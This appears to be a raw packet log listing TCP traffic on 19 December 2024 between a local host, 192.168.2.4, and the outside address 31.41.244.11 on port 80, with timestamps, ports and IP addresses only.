Dec 19, 2024 14:10:32.145221949 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.145235062 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.145292044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.145942926 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.146044016 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.146106958 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.146153927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.146871090 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.146917105 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.146955967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.147017956 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.147640944 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.147826910 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.147874117 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.148581982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.148672104 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.148677111 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.148711920 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.149368048 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.149406910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.149606943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.149657965 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.150170088 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.150222063 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.150285006 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.150341988 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.151106119 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.151153088 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.151185036 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.151232004 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.151890993 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.151948929 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.152087927 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.152165890 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.152729034 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.152780056 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.152827978 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.152870893 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.153554916 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.153609991 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.153765917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.153816938 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.154381990 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.154432058 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.154504061 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.154551983 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.155221939 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.155297041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.155318975 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.155343056 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.156055927 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.156105995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.270910025 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.270986080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.271055937 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.271301985 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.271389961 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.271406889 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.271451950 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.272069931 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.272123098 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.272224903 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.272269011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.272921085 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.272970915 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.273304939 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.273322105 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.273442984 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.274087906 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.274187088 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.274246931 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.274698973 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.274940968 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.275007010 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.275573015 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.275633097 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.275636911 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.275690079 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.310055971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.310113907 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.310197115 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.310477972 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.310583115 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.310642004 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.311336040 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.311361074 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.311391115 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.311434031 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.311958075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.312019110 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.312184095 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.312314034 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.312834978 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.312885046 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.312911987 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.312963009 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.313798904 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.313839912 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.313880920 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.313935995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.314557076 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.314780951 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.314815044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.314846992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.315337896 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.315433979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.315486908 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.316165924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.316231012 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.316294909 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.316348076 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.317107916 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.317171097 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.317220926 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.317267895 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.317907095 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.317962885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.317996979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.318056107 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.318717003 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.319040060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.319092989 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.319672108 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.319730043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.319747925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.319789886 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.320538998 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.320584059 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.320597887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.320647001 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.321238995 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.321288109 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.321427107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.321474075 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.322082996 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.322133064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.322213888 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.322259903 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.323043108 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.323059082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.323090076 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.323112965 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.323749065 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.323797941 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.323837996 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.323875904 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.324593067 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.324649096 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.325001955 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.325052977 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.325562000 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.325614929 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.325618982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.325666904 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.326386929 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.326436043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.326519012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.326567888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.327166080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.327214003 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.327327967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.327373981 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.328057051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.328103065 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.328115940 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.328166008 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.328784943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.328835964 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.328926086 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.328974009 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.329628944 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.329674959 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.329680920 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.329720020 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.330451965 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.330504894 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.330594063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.330636978 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.331351042 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.331398010 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.331491947 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.331542015 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.332218885 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.332235098 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.332268953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.332293034 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.333197117 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.333246946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.333297968 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.333343983 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.333842993 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.333890915 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.333921909 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.333967924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.334733963 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.334748983 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.334783077 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.334799051 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.335597038 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.335648060 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.335664988 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.335707903 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.336354017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.336401939 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.336409092 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.336446047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.337250948 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.337265015 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.337297916 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.337313890 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.338068008 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.338083982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.338113070 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.338135958 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.338927031 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.338974953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.339004993 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.339050055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.339696884 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.339745998 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.339926004 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.339967012 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.340495110 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.340543985 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.340600014 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.340645075 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.341392994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.341442108 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.341453075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.341495991 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.342212915 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.342262983 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.342293978 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.342339993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.343097925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.343146086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.343245983 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.343292952 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.343935013 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.343981981 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.344029903 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.344074011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.344722986 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.344770908 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.344902992 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.344947100 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.345772982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.345788956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.345820904 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.345837116 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.346416950 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.346506119 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.346554995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.347220898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.347278118 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.347364902 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.347415924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.348102093 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.348175049 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.348186970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.348236084 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.463068008 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.463159084 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.463295937 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.463603973 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.463618994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.463664055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.463706017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.464344025 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.464513063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.464570045 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.465154886 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.465210915 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.465424061 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.465485096 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.465516090 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.465565920 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.466279984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.466372967 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.466404915 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.466475964 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.467078924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.467252970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.467319012 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.467978001 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.468030930 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.502487898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.502579927 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.502640963 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.502701998 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.502871990 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.502932072 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.503151894 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.503206015 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.503851891 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.503868103 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.503902912 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.504012108 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.504553080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.504602909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.504707098 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.504756927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.505461931 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.505512953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.505537033 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.505584955 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.506259918 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.506315947 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.506397963 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.506444931 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.507153988 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.507183075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.507215977 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.507232904 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.507930994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.507982016 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.508058071 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.508104086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.508801937 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.508850098 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.508881092 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.508927107 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.509596109 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.509646893 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.509784937 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.509834051 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.510452986 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.510504961 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.510529995 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.510577917 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.511321068 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.511377096 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.511409044 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.511456013 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.512183905 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.512232065 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.512320995 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.512368917 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.512952089 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.513001919 CET	49800	80	192.168.2.4	31.41.244.11
